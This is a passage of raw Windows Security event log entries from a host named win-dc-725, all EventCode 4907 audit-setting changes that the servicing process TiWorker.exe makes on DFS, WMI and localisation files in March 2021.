	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceAccess\DfsNamespaceAccess.types.ps1xml
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247827
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceAccess\DfsNamespaceAccess.format.ps1xml
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247826
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespaceAccess\DfsNamespaceAccess.cdxml
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247825
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespace\DfsNamespace.types.ps1xml
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247824
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespace\DfsNamespace.format.ps1xml
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247823
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespace\DfsNamespace.cdxml
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247822
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\dfsn.psd1
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247821
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ADDSDeployment\ADDSDeployment.psd1
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247820
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\replprov.mfl
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247819
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dfsrwmiv2_uninstall.mfl
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247818
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dfsrwmiv2.mfl
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247817
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dfsrwmiv2.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247816
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dfsrprovs.mfl
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247815
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dfsncimprov_Uninstall.mfl
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247814
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\en-US\dfsncimprov.mfl
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247813
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\adstatus\en-US\trustmon.mfl
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247812
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\adstatus\en-US\trustmon.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247811
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\adstatus\trustmon.dll
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247810
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\ntdsa.mof
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247809
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\kdcsvc.mof
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247808
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\dfsrwmiv2_uninstall.mof
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247807
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\dfsrwmiv2.mof
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247806
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\dfsrwmiv2.dll
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247805
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\dfsrprovs.mof
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247804
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\dfsncimprov_Uninstall.mof
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247803
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\wbem\dfsncimprov.mof
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247802
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\migration\adwsmigrate.dll
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247801
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\replprov.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247800
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\propshts.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247799
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ntfrsutl.exe.mui
	Handle ID:	0xccc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247798
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ntfrsres.dll.mui
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247797
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ntfrs.exe.mui
	Handle ID:	0xd50

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
	New Security Descriptor:		S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
03/11/2021 11:42:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247796
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\System32\en-US\ntdsperf.dll.mui
	Handle ID:	0xd48

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	S:AI
